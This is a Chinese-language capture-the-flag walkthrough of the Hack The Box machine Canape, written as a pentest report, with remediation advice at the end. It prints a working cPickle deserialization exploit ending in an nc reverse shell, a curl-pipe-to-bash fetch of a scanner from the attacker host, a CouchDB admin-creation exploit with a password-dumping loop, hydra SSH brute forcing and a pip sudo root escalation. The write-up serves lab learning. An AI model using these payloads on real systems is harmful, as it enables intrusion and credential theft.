[Meachines] [Medium] Canape Git+cPickle-RCE+KTOR扫描+CouchDB+pip权限提升
字数 754 2025-08-29 08:30:12

Canape靶机渗透测试技术分析报告

1. 信息收集阶段

1.1 目标识别

  • IP地址: 10.10.10.70
  • 域名: canape.htb, git.canape.htb
  • 操作系统: Ubuntu Linux
  • 开放端口:
    • 80/tcp: Apache httpd 2.4.29
    • 65535/tcp: OpenSSH 7.6p1

1.2 端口扫描技术

使用Masscan和Nmap进行扫描:

ip='10.10.10.70'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
    nmap -Pn -sV -sC -p "$ports" "$ip";
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
  fi;
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi

1.3 Web服务发现

  • HTTP服务发现Git信息泄露:
http-git: 
  10.10.10.70:80/.git/
  Git repository found!
  Repository description: Unnamed repository; edit this file 'description' to name the...
  Last commit message: final # Please enter the commit message for your changes. Li...
  Remotes:
    http://git.canape.htb/simpsons.git

2. 漏洞利用阶段

2.1 Git信息泄露利用

  1. 添加hosts记录:
echo '10.10.10.70 canape.htb git.canape.htb'>>/etc/hosts
  1. 使用git-dumper工具下载Git仓库:
git-dumper http://canape.htb/.git ./
  1. 查看Git历史记录:
git log -p --all

2.2 cPickle反序列化漏洞分析

漏洞存在于Flask应用的/submit/check路由中:

@app.route("/submit", methods=["GET", "POST"])
def submit():
    # ...省略部分代码...
    p_id = md5(char + quote).hexdigest()
    outfile = open("/tmp/" + p_id + ".p", "wb")
    outfile.write(char + quote)  # 写入用户可控数据
    outfile.close()

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()
    if "p1" in data:
        item = cPickle.loads(data)  # 危险的反序列化操作
    else:
        item = data
    return "Still reviewing: " + item

2.3 反序列化RCE利用

利用脚本:

import os
from requests import post
import cPickle
from hashlib import md5

cmd = ''
chars = 'S\'krusty\'\n'

class exp(object):
    def __reduce__(self):
        return (os.system, (cmd,))

def check_exec(payload):
    smd5 = md5(chars+payload).hexdigest()
    print "[+] md5:"+smd5
    post('http://canape.htb/check',data={"id": smd5})

def submit():
    payload = cPickle.dumps(exp())
    stat = post('http://canape.htb/submit',data={
        "character":chars,
        "quote": payload
    })
    if stat.status_code == 200:
        print '[+] Execute payload'
        check_exec(payload)
        print '[+] Done...'
    else:
        print '[!] ERROR'

if __name__ == '__main__':
    cmd = r'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 443 >/tmp/f'
    submit()

2.4 内网扫描

使用KTOR扫描工具进行内网扫描:

curl http://10.10.16.33/ktor.sh|bash -s -- -l -p all

3. 权限提升阶段

3.1 CouchDB漏洞利用

  1. 检测CouchDB服务:
curl http://127.0.0.1:5986
ps -aux |grep couchdb
  1. 创建管理员用户(利用Erlang解析器漏洞):
curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:maptnh' \
--data-binary '{
    "type": "user",
    "name": "maptnh",
    "roles": ["_admin"],
    "roles": [],  # 重复的roles字段导致漏洞
    "password": "maptnh"
}'
  1. 查询数据库信息:
# 列出所有数据库
curl http://maptnh:maptnh@localhost:5984/_all_dbs -s

# 查询passwords数据库
curl http://maptnh:maptnh@localhost:5984/passwords/_all_docs -s

# 提取所有密码文档
curl -s http://maptnh:maptnh@localhost:5984/passwords/_all_docs | \
grep -o '"id":[^,]*' | awk -F ':"' '{print $2}' | \
while read id; do curl -s "http://maptnh:maptnh@localhost:5984/passwords/$id"; done

获取到的凭证:

User        Item        Password
ssh        0B4jyA0xtytZi7esBNGp    couchy
couchdb    r3lax0Nth3C0UCH          homer
simpsonsfanclub.com    h02ddjdj2k2k2    homerj0121

3.2 SSH登录

使用获取的凭证尝试SSH登录:

hydra -L ./user -P ./pass ssh://10.10.10.70 -s 65535 -t 4

3.3 pip权限提升

利用pip的sudo权限进行提权:

方法1:

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > /tmp/setup.py
sudo -u root /usr/bin/pip install /tmp/setup.py

方法2:

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo -u root /usr/bin/pip install $TF

4. 关键发现总结

  1. Git信息泄露: 暴露了网站源代码和开发历史
  2. cPickle反序列化漏洞: 导致远程代码执行
  3. CouchDB配置不当: 允许创建管理员用户并获取敏感凭证
  4. pip的sudo权限滥用: 最终获得root权限

5. 安全建议

  1. 避免在Web目录下存放.git文件夹
  2. 不要使用不安全的反序列化方法(cPickle)
  3. 正确配置CouchDB的访问控制
  4. 限制sudo权限,避免pip等命令以root身份执行
Canape靶机渗透测试技术分析报告 1. 信息收集阶段 1.1 目标识别 IP地址: 10.10.10.70 域名: canape.htb, git.canape.htb 操作系统: Ubuntu Linux 开放端口: 80/tcp: Apache httpd 2.4.29 65535/tcp: OpenSSH 7.6p1 1.2 端口扫描技术 使用Masscan和Nmap进行扫描: 1.3 Web服务发现 HTTP服务发现Git信息泄露: 2. 漏洞利用阶段 2.1 Git信息泄露利用 添加hosts记录: 使用git-dumper工具下载Git仓库: 查看Git历史记录: 2.2 cPickle反序列化漏洞分析 漏洞存在于Flask应用的 /submit 和 /check 路由中: 2.3 反序列化RCE利用 利用脚本: 2.4 内网扫描 使用KTOR扫描工具进行内网扫描: 3. 权限提升阶段 3.1 CouchDB漏洞利用 检测CouchDB服务: 创建管理员用户(利用Erlang解析器漏洞): 查询数据库信息: 获取到的凭证: 3.2 SSH登录 使用获取的凭证尝试SSH登录: 3.3 pip权限提升 利用pip的sudo权限进行提权: 方法1: 方法2: 4. 关键发现总结 Git信息泄露 : 暴露了网站源代码和开发历史 cPickle反序列化漏洞 : 导致远程代码执行 CouchDB配置不当 : 允许创建管理员用户并获取敏感凭证 pip的sudo权限滥用 : 最终获得root权限 5. 安全建议 避免在Web目录下存放.git文件夹 不要使用不安全的反序列化方法(cPickle) 正确配置CouchDB的访问控制 限制sudo权限,避免pip等命令以root身份执行